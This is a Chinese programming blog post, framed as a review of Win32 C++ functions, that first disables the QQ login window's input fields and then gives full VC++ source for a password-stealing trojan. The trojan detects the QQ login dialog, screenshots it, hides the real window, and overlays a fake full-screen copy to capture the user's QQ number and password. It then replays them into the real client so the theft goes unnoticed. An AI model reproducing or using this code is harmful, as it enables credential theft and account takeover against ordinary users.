从屏蔽QQ登录输入框温习几个c++函数 先看c++ builder的代码: void__fastcall TForm1::FormCreate(TObject*Sender) { HWND hCurWindow,HC,HE; //定义三个窗口句柄变量,hCurWindow用于存放QQ用户登录窗口的句柄,HC,HE分别存放号码框和密码框的句柄 if((hCurWindow=FindWindow(Null,"QQ用户登录"))!=0) { //调用FindWindow()函数去获得QQ登录窗口的句柄 string str; str.sprintf("0x%x",hCurWindow); } TCHAR wClassName[255]; //类名变量 HC=GetWindow(hCurWindow,GW_CHILD); //得到号码框的句柄 HE=GetWindow(HC,GW_HWNDNEXT); //得到密码框的句柄 GetClassName(HE,wClassName,sizeof(wClassName)); //得到类名 GetClassName(HC,wClassName,sizeof(wClassName)); //得到类名 EnableWindow(HE,false); //使窗口失效 EnableWindow(HC,false); //使窗口失效 EnableWindow()是个关键的函数,前面是为这个函数做铺垫的,关键是要获得框的句柄,如果FindWindow()和GetWindow()其中一个函数被HOOK的话,那么屏蔽输入框就没有效果了。这几个函数在VC里面同样可以用。 FindWindow()函数有一个特性:一次只运行一个程序实例,如果已运行则退出。 代码例:if( FindWindow(NULL,"程序标题")) exit(0); ------------------------------------------------------------------------------------------------------------------------------ 再列出VC利用这个函数的实例,也是针对QQ的,代码如下: #include <afx.h> #include <tlhelp32.h> #include "resource.h" HBITMAP g_pBitmap; //保存截取的屏幕图像 char qqpass[64] = "\0"; //保存用户输入的QQ密码 char qqid[64] = "\0"; //保存用户输入的QQ号码 HFONT myfont; RECT g_qqIDRt, g_qqPassRt, g_qqLogin, g_qqCancel, g_DlgRt; //保存QQ号码,密码,登陆,取消等窗口的区域 HWND QQID = NULL, QQPASS =NULL; HWND g_hWnd = NULL; //获取屏幕分辩率 int m_xScreen = GetSystemMetrics(SM_CXSCREEN); int m_yScreen = GetSystemMetrics(SM_CYSCREEN); BOOL CreateQQItem(HWND hWnd); BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID); void QQFind(); HBITMAP CopyScreenToBitmap(LPRECT lpRect); LRESULT CALLBACK win847(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam); //根据进程ID得到进程名称 BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32); if (!Process32First(hSnapshot, &pe)) { return FALSE; } while (Process32Next(hSnapshot, &pe)) { if (pe.th32ProcessID == PID) { strcpy(lpszProcessName, pe.szExeFile); return true; } } return FALSE; } //查找QQ登录窗口 void QQFind() { HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL; HWND ButtonLogin = NULL, ButtonCancel = NULL; char sTitle[255]; CString ss; DWORD QQPID; int LoginID; BOOL find = FALSE; do { //获得当前激活窗口的句柄 g_hWnd = GetForegroundWindow(); GetWindowThreadProcessId(g_hWnd, &QQPID); //根据PID获得进程名 processIdToName(sTitle, QQPID); ss = sTitle; ss.MakeLower(); //判断是否QQ if(ss != "qq.exe") { Sleep(100); continue; } //获得标题文字,判断是否登陆对话框 SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle); ss = sTitle; int n = ss.Find("QQ", 0); int m = ss.Find("登录", 0); if(n >= 0 || m >= 0) { //查找QQ登陆按钮的句柄 ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录"); LoginID = GetDlgCtrlID(ButtonLogin); ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录"); LoginID = GetDlgCtrlID(ButtonLogin); //获得QQ登陆按钮窗口位置 GetWindowRect(ButtonLogin, &g_qqLogin); //查找QQ取消按钮的句柄 ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消"); //获得QQ取消按钮窗口位置 GetWindowRect(ButtonCancel, &g_qqCancel); //查找QQ密码输入框的句柄 hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL); if(hWnd1 != NULL) { qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL); //获得QQ密码输入框窗口位置 GetWindowRect(qqPass_hWnd, &g_qqPassRt); } //查找QQ号码输入框的句柄 hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL); if(hWnd1 != NULL) { qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL); //获得QQ号码输入框窗口位置 GetWindowRect(qqID_hWnd, &g_qqIDRt); //获得当前默认QQ号码 SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid); } //等待QQ窗口完全出现后抓取整个屏幕 Sleep(100); g_DlgRt.left = 0; g_DlgRt.top = 0; g_DlgRt.right = m_xScreen; g_DlgRt.bottom = m_yScreen; g_pBitmap = CopyScreenToBitmap(&g_DlgRt); //设置QQ窗口为不可见 ShowWindow(g_hWnd, SW_HIDE); // LONG qqPassStyle; // qqPassStyle = GetWindowLong(g_hWnd, GWL_STYLE); // SetWindowLong(g_hWnd, GWL_STYLE, qqPassStyle & ~WS_VISIBLE); //弹出我们创建的伪造对话框 HINSTANCE hInstance = GetModuleHandle(NULL); DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0); //设置QQ窗口为可见 ShowWindow(g_hWnd, SW_SHOW); //把QQ号码和密码填到真正的QQ登录窗口上,并模拟单击登陆按钮 SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid); SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass); SendMessage(ButtonLogin, BM_CLICK, 0, 0); // SetWindowLong(g_hWnd, GWL_STYLE, qqPassStyle | WS_VISIBLE); // InvalidateRect(g_hWnd, &g_DlgRt, TRUE); DeleteObject(g_pBitmap); //设置标志退出循环 find = true; } } while(find == FALSE); } //拷贝屏幕 HBITMAP CopyScreenToBitmap(LPRECT lpRect) //lpRect 代表选定区域 { HDC hScrDC, hMemDC; // 屏幕和内存设备描述表 HBITMAP hBitmap, hOldBitmap; // 位图句柄 int nX, nY, nX2, nY2; // 选定区域坐标 int nWidth, nHeight; // 确保选定区域不为空矩形 if (IsRectEmpty(lpRect)) return NULL; //为屏幕创建设备描述表 hScrDC = CreateDC("DISPLAY", NULL, NULL, NULL); //为屏幕设备描述表创建兼容的内存设备描述表 hMemDC = CreateCompatibleDC(hScrDC); // 获得选定区域坐标 nX = lpRect->left; nY = lpRect->top; nX2 = lpRect->right; nY2 = lpRect->bottom; //确保选定区域是可见的 if (nX < 0) nX = 0; if (nY < 0) nY = 0; if (nX2 > m_xScreen) nX2 = m_xScreen; if (nY2 > m_yScreen) nY2 = m_yScreen; nWidth = nX2 - nX; nHeight = nY2 - nY; // 创建一个与屏幕设备描述表兼容的位图 hBitmap = CreateCompatibleBitmap (hScrDC, nWidth, nHeight); // 把新位图选到内存设备描述表中 hOldBitmap = (HBITMAP)SelectObject(hMemDC, hBitmap); // 把屏幕设备描述表拷贝到内存设备描述表中 BitBlt(hMemDC, 0, 0, nWidth, nHeight, hScrDC, nX, nY, SRCCOPY); hBitmap = (HBITMAP)SelectObject(hMemDC, hOldBitmap); //得到屏幕位图的句柄 //清除 DeleteDC(hScrDC); DeleteDC(hMemDC); // 返回位图句柄 return hBitmap; } //对话框回调函数 LRESULT CALLBACK win847(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam) { BOOL bRet; HDC dc, MemDc; POINT point; switch (message) { case WM_INITDIALOG: bRet = CreateQQItem(hDlg); //为对话框创建两个文本框来获取用户的输入 //设置对话框占满整个屏幕,并保持最前 bRet = SetWindowPos(hDlg, HWND_TOPMOST,0, 0, m_xScreen, m_yScreen,SWP_SHOWWINDOW); return TRUE; case WM_ERASEBKGND: //贴上截取的图片来刷新背景 dc = (HDC) wParam; MemDc = CreateCompatibleDC(dc); SelectObject(MemDc, g_pBitmap); BitBlt(dc, 0, 0, m_xScreen, m_yScreen, MemDc, 0, 0, SRCCOPY); DeleteDC(MemDc); return true; case WM_LBUTTONDOWN: point.x=LOWORD(lParam); point.y=HIWORD(lParam); //判断用户是否点击贴图上QQ登陆的按钮 if(PtInRect(&g_qqLogin, point) == true) { //获取用户的输入 GetWindowText(QQPASS, qqpass, 64); GetWindowText(QQID, qqid, 64); MessageBox(hDlg, qqpass, qqid, MB_OK); DeleteObject(myfont); EndDialog(hDlg, 0); } break; case WM_CLOSE: EndDialog(hDlg, 0); break; } return FALSE; } BOOL CreateQQItem(HWND hWnd) { //创建字体,因为系统默认是宋体 myfont=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH|FF_DONTCARE,"Arial"); //创建QQ号码输入文本框 int Width, Height; Width = g_qqIDRt.right - g_qqIDRt.left; Height = g_qqIDRt.bottom - g_qqIDRt.top; QQID = CreateWindow("Edit", "", WS_VISIBLE | WS_CHILDWINDOW, g_qqIDRt.left, \ g_qqIDRt.top, Width, Height, hWnd, (HMENU)1000, GetModuleHandle(NULL), NULL); if(QQID == NULL) return FALSE; //根据获得的用户号码填充文本框,增加欺骗效果 SendMessage(QQID, WM_SETTEXT, 0,(LPARAM)qqid); SendMessage(QQID,WM_SETFONT, (WPARAM)myfont,(LPARAM)0); //设置文本框的字体 //创建QQ密码输入文本框 Width = g_qqPassRt.right - g_qqPassRt.left; Height = g_qqPassRt.bottom - g_qqPassRt.top; QQPASS = CreateWindow("Edit", "", WS_VISIBLE | WS_CHILDWINDOW | ES_PASSWORD, g_qqPassRt.left, \ g_qqPassRt.top, Width, Height, hWnd, (HMENU)1001, GetModuleHandle(NULL), NULL); if(QQPASS == NULL) return FALSE; SendMessage(QQPASS,WM_SETFONT,(WPARAM)myfont, (LPARAM)0); //设置文本框的字体 return true; } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { QQFind(); return 0; }